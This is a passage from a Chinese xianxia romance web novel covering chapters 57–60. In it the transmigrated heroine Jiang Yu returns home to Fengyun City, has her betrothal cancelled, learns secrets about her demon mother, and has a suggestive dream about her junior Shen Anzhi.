“等等!”姜喻惊叫出声,焦急地追入林中,可不过几个呼吸,林中只剩枝叶摇曳的沙沙声,哪里还有半分人影…… 沈安之与阿赖寻着她的气息找到她,沈安之几步抢到她身侧,手指死死攥紧她的手腕,声音绷得极紧:“快走!此地要塌了!” 话音未落,四周山石已发出不堪重负的呻吟。 阿赖摇身化作三米高的原形,粗壮的毛茸茸尾巴盘绕住两人,将他们稳稳托上背脊。 它朝着前方波动的结界光幕猛冲而去,光影扭曲的瞬间,姜喻下意识回头。 那道山崖缝隙,在震耳欲聋的轰鸣声中彻底坍塌,化为滚滚烟尘。 一道妖娆的紫影斜倚树,纤指缠绕着一缕发丝,姿态慵懒,媚骨天成。她眼波流转,掠过破开空间缝隙的几人,唇角勾起意味深长地笑:“呵,总算出来了。” 齐三娘目光落在姜喻身上,媚眼如丝,却因想起某个身影而绽开明媚笑靥,连声音都染上几分暖意:“看见她了吧?小丫头,记住她的名字:莫云岚。” 只轻吐出这三个字,齐三娘眼底禁不住漾起一丝怀念,“莫问前程,云岚野鹤,自是悠闲自得。” 她刚说完,一道金褐色兽影欢快地“嗷呜”一声扑至她身侧,亲昵地蹭了蹭她的头。 “哟,阿赖,你还喘着气呢?”齐三娘挠了挠巨兽的下颌,熟稔的姿态宛如对待一位经年老友。 阿赖欢快摇着尾巴,逐渐变回原貌,享受着她的抚摸。 姜喻脑海中闪过最后瞥见的那道诡异藤影,抬眸直视齐三娘,神色郑重:“当时,是你救走了她?” 齐三娘指尖闲闲拨弄腕骨上的小巧铃铛,袅袅娜娜地踱近几步,全然无视沈安之投来的阴郁视线。 “自然是我,”低笑一声,眉眼弯弯,仿佛忆起极有趣的往事,“不过那时的我……可不是如今这副好皮囊。” “故弄玄虚。”沈安之嗤笑一声,指尖一枚铜钱捻动,警惕地抱臂冷眼睨着她。 齐三娘不接话,素手遥指那边波动的空间裂隙,语气带上几分认真:“随我出去了,小丫头。这地方,可撑不了我们的折腾。” 幽暗的裂隙边缘,发出细微的波动碎裂声。 三人一兽踏出缝隙,出了无尘仙山,外界的草木气和微凉山风扑面而来。 “你为什么要帮我?”姜喻紧盯着齐三娘,带着几分困惑,“就只是为了让我见到她?” 齐三娘侧过脸,唇角噙着一丝玩味的笑:“不过觉得有趣罢了。相识一百余载,她那样的人竟也会留下血脉。我想看看,你能走到哪一步。” 她话锋一转,眼底那点暖意散去,只余下凉薄的探究,“可别误会,我对你本身是死是活,毫不在意。只是想着……” 齐三娘望向虚空某处,声音轻如叹息,“这世间能多一个人记得她,总是好的。” 极淡的怅惘掠过妖娆的眉眼,心底那抹挥之不去的影子,在这世上唯一的牵系,竟只剩下眼前这眉眼间依稀有她五分神韵的孩子。 为了这五分像,她便不管不顾地将人带来了险地。 真是疯了。 齐三娘敛去眸中思绪,余光瞥见姜喻欲言又止:“怎么,还有话?” “她……”姜喻喉头滚动,指节因用力而微微发白,声音带着几不可察的微颤,“现在究竟在哪里?” 齐三娘挑高了眉,笃定的神情,语气斩钉截铁:“失踪了,我绝不信她死了。” 这与姜喻所知的原著走向分毫不差。 果然,无人知晓“原主”那位神秘的娘亲,究竟归于何处。 “我该走了。”齐三娘红唇轻启,紫色身影化作一道藤影,只留下余音袅袅,戏谑的声音在林间回荡着,“下次再见,小丫头,我对你们可不会再手下留情了哦。” 她散入深林,妖气再无踪迹。 姜喻心有一些疑问,可齐三娘并不愿意开口,她只能按耐住疑惑。 这一趟不是全然没有收获,起码她认识了莫云岚和齐三娘,又找寻到了沈安之的抑晦丹最难得的两株珍贵药材。 “师姐,我们先回小镇修整吧。”沈安之目光掠过姜喻略显苍白的脸颊,在她眼下青色的倦影上停留一瞬。 不动声色地靠近半步,调整站姿,宽阔的肩膀微微侧倾,恰好让她能靠在自己身上。 “也好。”姜喻笑着,抬手指了指脚边的阿赖,“我们把它也带上吧。” 阿赖立刻竖起耳朵,蓬松的大尾巴摇得欢快,喉咙里发出“呜呜”的赞同声。 “嗯。” 清冷的剑光亮起,如一道流虹划破薄暮,稳稳托起他们朝着山下灯火渐次亮起的小镇方向疾驰而去。 晨光熹微,透过客栈的雕花木窗棂洒入。 姜喻推开房门,刚用完简单早膳,困意被庭院中熟悉的身影驱散。 竹青色的长衫衬得他身姿挺拔,正背对着她,似乎在观察庭中一株凋谢的菊花。 “枣卿?”姜喻有些意外,“你怎么来了?” 青年闻声立刻转身,正是姜氏钱庄在此地的管事枣卿。 他眼中掠过一丝紧张,迅速上前几步,动作流畅地躬身行礼:“参见少城主!” 礼毕,目光急切又克制地在她周身巡睃,确认她安然无恙后,紧绷的身形松懈下来,长松了一口气。 “属下挂念少城主安危,夜不能寐。如今亲眼见您平安,这颗心总算落回实处了。” 他在姜氏钱庄时刻关注姜喻的消息,一听到她安全回来,马不停蹄地赶来。为掩饰过于外露的关切,他唇角扬起一个温和的笑。 然而笑容在目光触及姜喻身侧那道颀长身影时,微滞一瞬。带着商贾特有的精明与审视,悄然落在沈安之的周身,把他从头到脚看了一遍。 枣卿面上笑容再次扬起,恢复管事应有的圆融得体,主动拱手道:“这位想必就是少城主的同门沈公子了,久仰。在下枣卿,为此地姜氏钱庄分号的管事,幸会。” 沈安之立于晨光之中,面对枣卿的审视与客套,极轻颔首,面上挂着挑不出错的温良笑意,“幸会,我是姜喻的……师弟,沈安之。” 目光短暂掠过他,又重新落回姜喻身上,仿佛周遭一切皆不入他眼底。 那目光里糅杂着过分的专注与一丝敌意,他若再看不出沈安之的小心思,这二十几年也算白活了。 他识趣地摸了摸鼻尖,垂首时目光好奇地扫过姜喻腿边的阿赖,随即收回心神,恭敬道:“少城主,您不在的这些时日,风云城出了些岔子,您看是否回去瞧瞧?” 姜喻心头没来由的一紧,“何事?” “听闻风云城附近出了只厉害的妖兽,专在后半夜伏击落单之人。”枣卿的嗓音沉了下去,“城主为此忧心,已然病倒了……” 姜喻身为少城主,即便这身份原是“原主”的,也明白自己躲不开这份责任,利落应答:“好,即刻准备,我们速回。” “我随师姐一起。”沈安之眼底晦暗不清,故意地抬眸看向枣卿。指尖安抚地拂过姜喻发顶,却又在姜喻察觉前恋恋不舍地收回。 “嗯。”姜喻抬眸,漾开轻笑。 * 枣卿备下的一条极快灵舟,待他匆匆安排妥钱庄事宜,三人便踏舟而去。 风声在舷外呼啸三日两夜,脚下山河飞速倒退,终是看清了风云城的轮廓。 灵舟悬停,俯瞰而下。 风云城依着苍翠山峦,傍着碧水,城内屋舍俨然,道路经纬分明。 巍峨的城门之上悬着的并非一块匾额,而是一尊展翅欲飞的重明鸟浮雕,翎羽纤毫毕现,神光熠熠,自带着凛然的威严。 灵舟甫一落地,姜喻的目光撞上了早已等候的姜檀奚。 姜喻对姜檀奚第一面的印象,不是原著描写,而是无尘仙山,天梯碎片中展示的回忆。 那个拘谨又深情的俊朗青年,隔着十几载光阴,姜喻再看他容颜未染多少风霜,仅是眉眼间沉淀下的威严与忧色,在无声诉说着光阴的流逝,与这风云城肩头的重担。 不愧是修真界,修炼后时间总是格外留情些。 “阿愉,我的女儿,你总算回来了。” 姜檀奚他唇角弯起,将姜喻紧紧地抱入怀中,仿佛拥抱着失而复得的珍宝,放开她时止不住地左看右看。 “让爹爹瞧瞧,果然清瘦了,个子都高了。我的小姑娘,出落得更漂亮了。” 第58章 姜喻陷在那突如其来的,带着强烈存在感的温热怀抱里。 她看姜檀奚关切专注的眼神,那句久违的称呼本能唤出:“老爹……” “哎。”姜檀奚应了一声,眼底笑意更深,“别傻站着了,吩咐小厨备得都是你爱吃的,走,阿愉,跟爹爹走,咱们回家。” 姜喻有一瞬恍惚,仿佛回到小时候,老爹在世时,也会招呼她从同村的小朋友家里,隔着小河堤坝唤她“该回家吃饭了”。 她想家了,想自己现世的家了。 咽下舌尖艰涩,姜喻收敛情绪,笑着应答:“好啊,老爹。” 姜檀奚高高兴兴准备领着她回府,这才看见跟随在姜喻一旁的玄衣少年。身形颀长,长相俊朗到雌雄莫辨,和她娘亲一样眼光不错。 “这位便是枣卿信上提及的阿愉师弟,沈公子吧,听说一年后行冠礼?”姜檀奚早把沈安之背景摸透了,对两人之事也略有耳闻。 “是,晚辈见过姜城主。”沈安之恭恭敬敬地行一礼,待人接物让人挑不出他一丝一毫的错。 哪有平日倨傲谁也不放在眼底,温良的比在顾疏雨面前还过分。 姜喻侧眸好奇地眨眨眼,差点笑出声。直到和沈安之对上视线,她才憋住嘴角上扬。 “孩子,和回家里一样别拘束。风云城在,你们负责开心就好。” 姜檀奚高兴地领着他们往姜府走,许多人围观行注目礼,他毫不掩饰自己心情,一路神采飞扬、眉飞色舞,似对姜喻有道不完的事。 姜喻笑着侧眸看他,乖乖一一应答,至于有些不知道的事情便含糊其词,姜檀奚并未怀疑有她。 据她观察姜檀奚在一侧健步如飞,看起来不像是生病了。 直到坐下用完晚膳,姜喻看到一桌菜肴倒是一愣。 “原主”爱吃的菜竟和她一样啊? 书中的修真界居然有番茄炒蛋、土豆炖牛腩…… 玉箸轻点,她眼前青瓷碗中眨眼间垒起一座菜肴小山。 姜檀奚与沈安之,一个笑得见牙不见眼,一个沉默却执着,手中的动作竟出奇地一致。 姜喻看着眼前这碗“父爱如山”兼“师弟情深”的混合体,哭笑不得。连忙按住碗沿,“老爹,我自己来就好。师弟,你也快些用饭吧。” “好好好!”姜檀奚抚掌大笑,眼角眉梢都是激动,“瞧爹这糊涂的,光顾着高兴了。” 烛火摇曳,碗中色泽鲜亮的番茄炒蛋与酥烂的土豆牛腩。姜喻执起玉箸,夹起一小块裹着酱汁的牛腩,送入口中。 鲜香滚烫的味道在舌尖漫开,难以言喻的暖意悄然浸润心田。 她小口咀嚼着,垂下眼睫掩住了眸底涌上的酸涩。 这般围坐一桌,烟火缭绕的暖意,竟让她恍惚生出错觉,仿佛她漂泊的灵魂终于跌跌撞撞回到故里。 酝酿许久的话题,姜檀奚手中玉箸一顿,轻轻搁在碟上,目光落在姜喻身上语重心长道:“阿愉,如今你可有中意之人?还有你那位未婚夫,这婚约,你作何打算?” 姜喻正夹起一块红烧肉,闻言指尖猛地一颤,肉块“啪嗒”一声跌回碗中,愕然抬眼,声音拔高了些:“未婚夫?我什么时候有的未婚夫?” 姜檀奚轻笑着陷入回忆,徐徐道来:“当年为父初次下山,与你娘亲相识后结义的好友,西陵城宁氏家主,宁予安。他膝下有一独子,名唤宁贺辞,如今师承蓬莱阁,声名鹊起。你们可曾见过?” 一旁静坐品茶的沈安之,背脊瞬间绷紧。执杯的骨节 微泛白,眼睫低垂,视线紧紧锁在姜喻侧脸,压抑着眸底翻涌的晦暗情绪。 姜喻心头一跳,莫名感到一股无形的压力。 这么狗血的桥段都能让她碰上? 下意识地避开灼人的余光,看向姜檀奚老老实实点头:“我见过。” 话一出口,又觉不妙,连忙补救,声音带着点无奈的急切:“爹爹,我对那位宁公子绝无非分之想,这婚约……能不能作罢?” 姜檀奚非但没恼,反而如释重负地松了一口气,抚掌笑道:“哎呀,这就好。可愁坏爹爹了,生怕你懵懂应下。放心,信函爹爹早已备好,只等你心意明确。” 他话锋一转,目光饶有深意地扫过旁边那尊“玉面修罗”,促狭道,“不过嘛,看这情形,我家阿愉可是心有所属了?” 姜喻的脸颊“腾”地烧起来,慌忙摆手摇头,生怕父亲下一刻就要张罗起更离谱的亲事:“爹爹,您别瞎想,我才没有……” 声音没底气的越来越低,眸光不期地撞进沈安之幽深晦暗的眸中。 目光沉沉压来,心头一慌,又怕沈安之误会,极快点了一下头,“爹爹,你别问了。” 姜檀奚将她欲盖弥彰的慌乱,少年人彼此间无声的交锋尽收眼底。他眼底笑意更深,却不再点破。 待膳毕,他不动声色地吩咐下去,“将沈小友的厢房,安排在小姐‘云归院’西侧的‘临竹轩’。” 沈安之和姜喻恰好离去,他身形微顿,指尖在袖中缓缓摩挲着铜钱,唇角勾起一丝几不可察的暗笑。 他耳目极佳,又怎可能听不清。 姜喻兀自出神,满脑子盘算着如何练好抑晦丹,避开原著主线。掐指一算,只需在这方天地再熬过……九年。 或许,只要抑晦丹一成,沈安之没了黑化的由头,她便能彻底抽身离去。 想的出了神,以至于她踏入云归院时,浑然不觉沈安之已挥退了管事。待她抬眸四下只剩两人,脚步无意识慢下,却已迟了。 额头差点撞上一堵温热坚实的胸膛,一根手指轻抵在她眉心,防止她撞上去。 姜喻抬眸顺着手指看去,正撞进沈安之深不见底的眼中。他唇角噙着散漫的笑,笑意却未达眼底。 “师姐,”他声音低沉,幽深的眸底情绪在无声翻涌,手指固执地扣上纤细的腕骨,一遍遍摩挲着凸起的骨节,“方才,为何急着否认?” 姜喻慌忙解释:“我那是怕爹爹胡乱给我塞些莫名其妙的婚事才……” 话如同投入深潭的石子,非但未能平息波澜,反而让沈安之眼底微光暗下去,黝黑心底的深海掀起狂风暴雨,压制的心魔又在蠢蠢欲动。 不安如枷锁瞬间缠上心脏,越收越紧。 他缓缓松开手指,带着一种刻意的轻缓,似在极力压抑什么…… “我……”姜喻想再说什么,试图抓住他一丝衣角,可沈安之已笑了一下,退后一步。 “师姐早些休息。”他扬起唇角笑意转身,笑容在夜色一点点消失。 月华将他离去的背影拉得颀长而寂寥。 沈安之见过风云城的金碧辉煌,见过城主将她视若珍宝的呵护。姜喻的世界应有尽有,她若想要什么,不过是一句话的事。 宁贺辞……未婚夫…… 这三个字如同警钟在他脑海里震响,今日没了宁贺辞的婚事。 明日呢?后日呢? 是否终有一日,姜喻明媚的笑靥、声音,都会属于另一个站在她身侧的人? 深藏心底的自卑,被巨大的不安狠狠撕扯,暴露出来。沈安之越是想要掩埋,越是痛彻心扉,连心魔的都在叫嚣着。 他一步步踏入更深的夜色阴影里,指节紧握而泛白。 无论如何…… 他绝不会放手。 * 云归院,姜喻梳洗完躺上柔软的床榻,棉被皆是阳光晒过的味道,可她依旧翻来覆去睡不着。 今日她是不是说错了。 沈安之反应颇为奇怪,若是以往他怎么也该听到顺心如意,待她说清楚才罢休。 但今日格外却沉默。 姜喻心绪不宁,坠入半梦半醒的梦境。 意识尚未完全清醒,身体骤然悬空,被人打横抱了起来。姜喻眯开一条眼缝,视野里,熟悉的红绸坠落在地垂落,映衬着房间中央的巨大的“囍”字。 沈安之步履沉稳,将她牢牢抱在怀中,调整舒服姿势侧坐在自己腿上,便像个树懒一般抱着她的腰不撒手。 “小愉儿,是打算一直不同我说话吗?” 姜喻微微一怔。这亲昵的称呼。 是了,只有在梦里,沈安之才会这般唤她。梦境缘故让她卸下现实的疲惫,她仰起脸撞进深不见底的丹凤眸中,唇角不自觉地弯起一点。 沈安之将她拥得更紧,下颌抵在她颈窝,轻轻磨蹭着。压低的嗓音沙哑,裹着不易察觉的控诉:“小愉儿,为何来的这般晚?” 白日里说错话的愧疚感漫上来,姜喻被他蹭得颈间发痒,却没有推开。 她声音细若蚊呐:“晚宴上,我好像说错了话,惹你不高兴了。可我解释得太晚,你,生气了对不对?” 沈安之那点不安与戾气,在声音中奇异地被抚平。 沈安之喉结滚动,薄唇贴上她泛红的眼尾,气息灼热,“是,我承认,可我气的终究是……” “终究是什么?”她急着追问。 “终究是我自己。” 姜喻心尖一颤,指尖无意识地攥紧他的衣袖,急切问:“为何?” 沈安之身体有瞬间的僵硬,环在她腰间的手臂收紧,声音闷闷:“小愉儿,真想知道?” “当然了,你快说。”姜喻紧紧盯紧他的眸。 沈安之吐出浊气,陡然埋首在姜喻颈侧,像只随时可被人遗弃的小兽。 他从未有过的脆弱,仿佛在这一瞬能在姜喻面前展现的彻底。 他想说的太多,嘴唇嗫嚅,声音沉闷道:“小愉儿,我大抵是否连靠近你身侧都做不到……但我不想你身侧有其他人,你的‘心悦’之人只该是我……” 第59章 姜喻心跳逐渐加快,脸颊微红,微张唇瓣因紧张咬的轻微泛红。抬眸对上沈安之认真的神色,不自然地呼吸一紧,指尖无措地蜷缩起来。 心口那只横冲直撞的小雀,飞着毫无章法,几乎要破膛而出。 “小愉儿,‘心悦’我学会了。你,只心悦我一个人。好吗?”似是怕姜喻没听清,他又重复了一遍,环在她腰间的手臂骤然收紧。 只是最后的问句,被沈安之咬得极轻,轻到姜喻自己如雷的心跳声,都能将其“淹没”。 沈安之垂着眼,目光牢牢盯紧少女妍丽的亮眸,里面倒映着他自己的身影。 他心底隐秘的角落生出的心魔,死死缠绕他的耳畔,心中仅有一个念头: 他不想,更不要听她否定的答案,一丝一毫的可能都不要有。 言语化作行动,皂角香与暖香交织融合,唇瓣霸道地堵上姜喻翕动的柔软,闻到彼此交缠在一起气息,他从未这么喜欢皂角香和暖香交织的馨香。 香香软软地搂着她腰,宽大的手掌轻车熟路地扣在姜喻后脖颈,指腹慢条斯理地摩挲着那处细腻的肌肤。 他沿着她唇线若即若离地轻蹭,拇指一点点试探移动,直到大拇指轻放在姜喻颈侧悸动的脉搏。 “停……唔……” 知晓心跳加速的律动的那一刻,他仿佛得到鼓舞的信号。 沈安之撬开姜喻的唇齿,吞下她所剩无几的声音,一点点勾缠着,只留暧昧地水声溢出。 吻细密地落下,从她微启的唇瓣流连,最终鬼使神差地啄吻上小巧莹白的耳垂。 耳尖因此洇开的诱人浅红,像初绽的桃花。 “好看。”他敛眸,语气低哑。 怀中的人儿被他气息烫得瑟缩,姜喻想缩回安全距离,无意识扭动着双腿。 却浑然不觉,这无意间的撩拨何等致命。 她只觉痒意难耐地抬眸,纤手轻推他的肩,气息微促道:“你该停手了吧?” 体内蛰伏的暗火悄然苏醒,灼烧着沈安之仅存的理智。 他散漫一笑,压下眸底幽深翻涌,几乎是下意识地身形微顿,凑近脸 颊追着她后仰的动作,直至左掌扶稳着她的腰,鼻尖轻蹭了蹭她的鼻尖才罢休。 “逃什么?嗯?” “我没有呀。”姜喻笑了一下,反而乱动的幅度更大了一些。 梦里的沈安之又想干嘛…… 姜喻的每一个动作都是无声又难耐的折磨,细微的蹭动都似乎在考验着沈安之紧绷的神经。 全部意志来绷紧那名为克制的弦,他额间与姜喻轻柔相抵,吐息滚烫。身形未动,喉结滚动着,喑哑的嗓音道: “别动……” 姜喻望进那双近在咫尺的丹凤眸,如深渊般漆黑,此刻翻涌着她从未见过的,足以吞噬一切的暗潮。 一股热意混着奇异的酥麻瞬间窜遍四肢百骸。 姜喻猛地意识到:她挣扎的小动作,似乎惊醒了某种更危险的东西。 脸颊几乎“腾”地烧起来,耳尖泛起桃色。整个人僵住,连指尖都不敢蜷缩半分。齿缝里挤出声音,尾音轻颤:“这一次,我现在真没动了,你先让我下去。” 沈安之得逞又满意她如今的娇羞模样,忽的弯唇起了逗弄之心,凑近故意在她耳畔吐息,“不行啊……” “怎么就不行了。”姜喻微瞪圆了亮眸。 这双亮晶晶的眼眸漂亮得他想藏起来,只想她注视他一个人,只看着他一个人。 就像“飞鸟”与“树枝”密不可分。 “因为,我难受……”沈安之玩味得笑一下,又怕吓到她,垂下头恰好掩藏起眼底的晦暗和上扬的嘴角。 姜喻隔着布料轻捏了捏他的胳膊,小声腹诽:“那我下去不就不难受了……” 偏偏沈安之不为所动,灼热的呼吸一点点黏上她的耳畔。 “沈安之!” 沈安之十分受用地瞧着耳尖人眼可见速度攀上的薄红,不轻不重地轻咬一口莹白耳垂。 不疼,但濡湿、温热。 姜喻清晰地感知一股战栗从骨髓里钻出来,那只铁箍般禁锢着她腰肢的左手,温热指尖正贴着布料在脊骨游走,一点点由下至上,又由上至下。 缓慢,执着。像丈量着什么,磨人的要命。 沈安之准备发什么疯……都在梦境世界了,怎么还是这般…… 姜喻眼尾微微泛红,哪经得起这般拨动心弦举动,头靠在他颈窝恨不得在这里咬一口,“沈安之!” 这厮又想在梦里欺负她,才不要他得手了。 姜喻心一横,猛地凑近脑袋,唇瓣覆上沈安之颈侧肌肤,轻咬上他脖颈一处软肉,贝齿轻轻一合,留下个清晰的牙印红痕,如同烙下独属于她的隐秘印记。 飞快退开脑袋,眼眸却亮得惊人,亮晶晶的如熠熠星光,嗓音微颤,又道:“沈安之。” “错了哦。”他陡然话锋一转,呼吸都重了几分。手腕微用力,让她原本侧坐在自己腿上的上半身更紧贴自己。 指腹摩挲过咬过她耳垂的地方,不放过地轻舔了一下未消的红印,低哑的声音循循善诱道:“叫安之,不然,我不放手。” 姜喻咬牙不出声,见他又凑近在她唇边,眸光一眨不眨地紧盯着她泛着水光的唇。 “安之。”姜喻快速说完。 沈安之停顿所有动作,只剩下他压抑的喘.息,似有羽毛拂过心尖,不轻不重地挠一下,喑哑嗓音:“嗯,再来一遍。” “安之。” “再来一遍……” “你在得寸进尺。”姜喻现在不止想动口咬他了,眼眶微微泛红,又气又觉得好笑…… “……答应我的,不是嘛?”沈安之挑动眉梢,凑近脸颊肆意一笑。 他受用至极听她唤他,哪怕一遍又一遍遍,他都不厌其烦。 沈安之抱紧她的柔软腰肢,紧贴着没有任何缝隙。头靠在她颈窝,像只被她安抚后的猛兽,“小愉儿,别走,好不好……” 然而,姜喻的梦境开始剧烈晃动。 沈安之还没能得到他想要的两个答案,怀中温软的绯红便消失了。 他怔怔地看着空落落的臂弯,鸦羽般的长睫失望地垂下,低语消散在残留的梦影当中:“可惜了,这里时辰太短。” 现实的气息涌入鼻腔。 床榻上,姜喻猛地吸一口气,缓缓睁开眼,指尖下意识抚上滚烫的脸颊。懊恼地捂住脸,便在锦被里蜷着滚来滚去。 自己怎么会梦到沈安之。 梦到也作罢,偏偏这朵黑莲花怎么可能会做出类似表白心迹之事…… 他那般偶尔捉摸不透,又时不时玩味捉弄她的模样,姜喻倒是想极力劝阻自己…… 不过,她不讨厌。 心脏同样不争气。 姜喻心声腹诽着,干脆躺平地看着坠下的白幔。毫无意外,下半夜被梦境影响,她睡意全无。 翌日,照顾姜喻的小丫鬟小莲唤起姜喻,为她梳洗打扮时,她都是哈欠连天。 姜喻忍不住地打了个哈欠行至膳厅,坐下环顾四周。待她和姜檀奚其乐融融用着早膳时,沈安之从始至终都不曾出现。 姜喻禁不住频频地伸长脖子,抬眸张望。 “沈小友不在厢房,今日寅时天未亮便走了。”姜檀奚抑制上扬的嘴角,放下玉箸,慈爱地看着姜喻。 “走了?”姜喻不自然地拔高音量,认识到她此举动太失态,她抿唇咬了咬玉箸,欲盖弥彰得一笑。 沈安之虽不是第一次不告而别,每次来回他总是有些事情离去,但这一次走的匆忙,是又为什么了? 姜喻好奇得单手托腮,余光瞥老爹姜檀奚一副了然浅笑的神情,赶紧坐正身形一笑。 见她吃的心不在焉,心里藏着事,姜檀奚开口问:“阿愉,心里有事,说出来,爹爹都帮你解决。” 姜喻话在嘴里绕了一圈,缓缓开口道:“老爹,我想要一间丹房。” “丹房?”姜檀奚略带诧异地看向她,“女儿呀,风云城有何是买不来的,想要什么丹药尽管告诉爹爹,何必吃这个苦……” 姜喻细想下暂且别让姜檀奚担心,毕竟抑晦丹可是禁药,又事关沈安之的事情…… 老爹抱歉了。 “老爹,我想升自己的炼丹技术,而且……”姜喻话锋一转,抬眸眼神示意他,眸光轻扫了一眼四周静立的仆从丫鬟们。 姜檀奚一个眼神示意管事,管事了然微颔首,带着下人们鱼贯而出,整个膳厅只留下他们两人相对而坐。 姜檀奚谨慎地设置了隔音结界,“阿愉,还有何事?” “老爹,我是妖,对不对?”姜喻说完咽了咽口水,紧张地捏紧袖口看向他。 姜檀奚温和的眸光瞬间变得凌厉,但不是对姜喻,而是快速余光四下一扫,挥手间设下更牢固的结界。 “谁告诉你的?”姜檀奚紧锁眉头皱成川字,心中一悸,不安地紧盯姜喻。 “我去过无尘仙山了,见到了她的影像……” 姜檀奚脸上骤然失色,“她”字所指为谁,不言自明。眼中掠过怀念与牵挂,随即了然,唇边苦涩一笑,“难怪……” 一个念头如电光石火劈开脑海,他呼吸一窒,急切地追问:“阿愉,你的木牌了?” “它碎了。”姜喻颇为不好意思地抬眸一笑,取出木牌残留的碎片。 姜檀奚长叹一口气,灵力包裹碎片,拼凑间,深刻着“姜喻”二字的笔划,正在裂痕间断断续续地隐没,但缝隙已无法复原。 姜檀奚道:“这木牌来自上界的梧桐木,是封印后遮掩你身份的关键。能在你遇到危险时保护你,看来是使用次数超过了储存的力量。” 第60章 姜喻拿起 木牌护身符的碎片看了又看,前因后果在脑中串联,她瞬间明了。 忆起木牌上裂痕出现后,当时被沈安之追赶的小鼠妖语焉不详的话。 她竟未深想! 一股后怕猝然从脚底窜起,瞬间似要冻僵她的四肢百骸。 姜喻悄悄抬眸,仔细观察着姜檀奚的神情,他面色沉静。她下意识捏紧衣袖搅动在指尖,小心开口:“木牌碎后,我才会被人出重明鸟的妖族身份。那往后……” 如今她会更容易被其他人惊觉,沈安之不在意,可她毕竟是妖……会不会被其他人戳穿? 若是,往后清闲日子岂不是一去不复返。 姜檀奚喉头微动,欲言又止。姜喻眼底强压下的忧虑,如细针般刺得他心头一窒,心底泛起亏欠与愧疚。 他抬手,安抚的落在她发顶揉了揉,“阿愉,谨慎些自是应当,但莫要太过忧心。爹爹定会为你寻到替代梧桐木之物。” 他的声音沉稳如山岳,字字千钧,“何况,有爹在,有整个风云城在,便是你的后盾与倚仗,为给你时时刻刻撑腰的。” 姜檀奚面色不改,他汲汲营营到如今地位,为的就是防止一切意外之事。若是哪天东窗事发,好为他和云岚的女儿挡下一切风暴。 一股暖流在姜喻心田划过,她看着姜檀奚端正的身影,眼前竟有些恍惚。他与记忆深处模糊的“老爹”身影渐渐重叠。 姜檀奚对她,确实是倾尽所有地好…… 若现世她的老爹尚在,大约,也会这般为她遮风挡雨吧? 感动与一丝难言的苦涩交织在舌尖,她用力抿了抿唇,将那点涩意咽下,仰起脸,绽开一个明晃晃的笑容:“嗯,知道了,爹爹!” “不过,你说的无尘仙山,你为何会去?谁带你去的?”姜檀奚的问题直指核心,一针见血。 姜喻故作镇定,语气带着几分轻松:“我自己想去的。而且,我还遇到个人。” “谁?”姜檀奚的声音瞬间绷紧,周身气息都凝滞了一瞬。 “齐三娘。” 姜檀奚攥紧拳头克制地拍了一下桌面,眼中翻涌着惊怒,指节用力,手背青筋暴起,“居然是他诓骗你。” “诓骗倒不至于吧……” 姜喻倒是没想到他会反应这么大,难不成真如原著所说。 有瓜?! 姜喻眼前一亮,顿生好奇地眨了眨亮眸,搬起椅子凑到老爹旁边,“老爹,你与这齐三娘之间,究竟有何关系?” “你知晓为何他要叫齐三娘吗?” “不知道。”姜喻茫然地摇头。 姜檀奚眉头紧锁,俊美的面容上写满嫌恶,仿佛吞了无数只苍蝇。 “藤妖阴阳同体,他给自己改换阴阳之身。” 姜喻茫然一瞬,看向姜檀奚发出一声来自灵魂深处的疑问:“啊???” 姜檀奚一想到那厮竟敢带着他的宝贝女儿踏足无尘仙山那等凶险之地,又还做了这么一出,纯属巧合他是一点不信,直教气的咬牙切齿。 “‘三’是你娘在族中排行,‘齐’是她行走江湖所起的姓。藤妖本无性别,他所作所为,呵……”姜檀奚扯了扯唇角,无奈地冷笑一声。 “初见他时绝非女子之身,原叫闫九闵。”姜檀奚思绪飘回初见那人一身招摇的紫袍,立于莫云岚跟前便是扎眼得很。 姜喻大脑是CPU快烧干了。 “所以说齐三娘实为“男子”,只为纪念我娘亲莫云岚,才改换身体的阴阳,以女子身份行走世间?” 姜檀奚不置可否,微颔首。 什么原著粉猜测的“情人久别重逢,情意绵绵”? 分明是情敌狭路相逢,分外眼红。 老房子着火,她的老爹居然差点被人,不对,被妖撬走了墙角。 不正应了那句话:有些人,做人做妖,做男做女都精彩…… 姜喻慌忙地垂下眸,死死掐住掌心,才没当场笑出声。 姜檀奚猛然惊觉失言,在小辈面前揭这等旧事实在不妥。 他赶忙轻咳一声掩饰掉尴尬,方才嘲弄的冷意敛去,宽厚温暖的手掌带着安抚的力道落在姜喻发顶。 “阿愉,你想要的丹房,为父定用最好的材料,给你造得妥妥帖帖。莫不是与前些时日所寻的草药有关?” 姜喻甜甜地一笑,暂且隐瞒了部分真相,“是啊,老爹。我正好深耕炼丹之术,还无需多出门加深暴露身份的机会,真可谓一举两得。” 见姜檀奚神色不改,对她所言深信不疑,眉宇间浮起欣慰之色,姜喻紧绷的心弦这才悄然一松,暗自吁了口气。 “因退婚一事,宁氏已遣人亲至交还信物。阿愉,今日由你代我招待贵客。”姜檀奚的声音沉稳道。 “是,老爹。”姜喻笑着颔首领命,心下忍不住嘀咕:节奏可真够快的,昨日他才送出信,今日宁家就上门退还信物,当真是雷厉风行。 “阿愉,你是少城主了,也该掌掌权了。”姜檀奚眸底藏着期许,又怕给她压力,眼中满是鼓励。 在他心里,给阿愉再多都不算多,只恨自己给得还不够。 若是云岚在,一家团聚,也能亲眼看见他们的阿愉已出落得这般模样了…… 水光悄然从姜檀奚眼底掠过,不动声色地撤去隔音结界,扬声吩咐侍从去安排。 目光追随着姜喻施施然行礼,离去的绯红背影。他抬手,指尖轻轻擦过几欲湿润的眼角。 恰在此时,姜喻笑着回身朝他招了招手。姜檀奚亦含笑挥手,示意她快些去。 姜喻甫一消失在父亲的视线里,便几乎是足下生风,火急火燎地掏出传音玉佩,指尖灵光轻点,给沈安之留了讯息。 随后整了整神色,慢下步伐跟上引路的管事,朝着正厅行去。 踏上通往正厅的路上,远远瞥见厅前似有人影绰绰,她未及细看,一道玄色身影毫无征兆地从廊柱后闪出,恰好挡在她的去路。 “师弟,你何时回来的?”姜喻笑着下意识牵上他的袖角,足下微顿,发觉他身后微光似有闪过。 沈安之不动声色地抱臂侧身,足以遮掩视野,引导姜喻从花园穿行,向正厅走去,才不紧不慢道:“师姐,我刚回。” 身后传送阵的流光彻底湮灭,灵力反噬在经脉乱窜。沈安之强行压下喉间翻涌的腥甜,指尖嵌入掌心,忙稳定灵力在体内紊乱,暗松一口气。 听闻传讯,以防姜喻与宁氏解除婚约之事生出意外,便来得太急,他几乎是以损毁传送阵为代价强行催动。 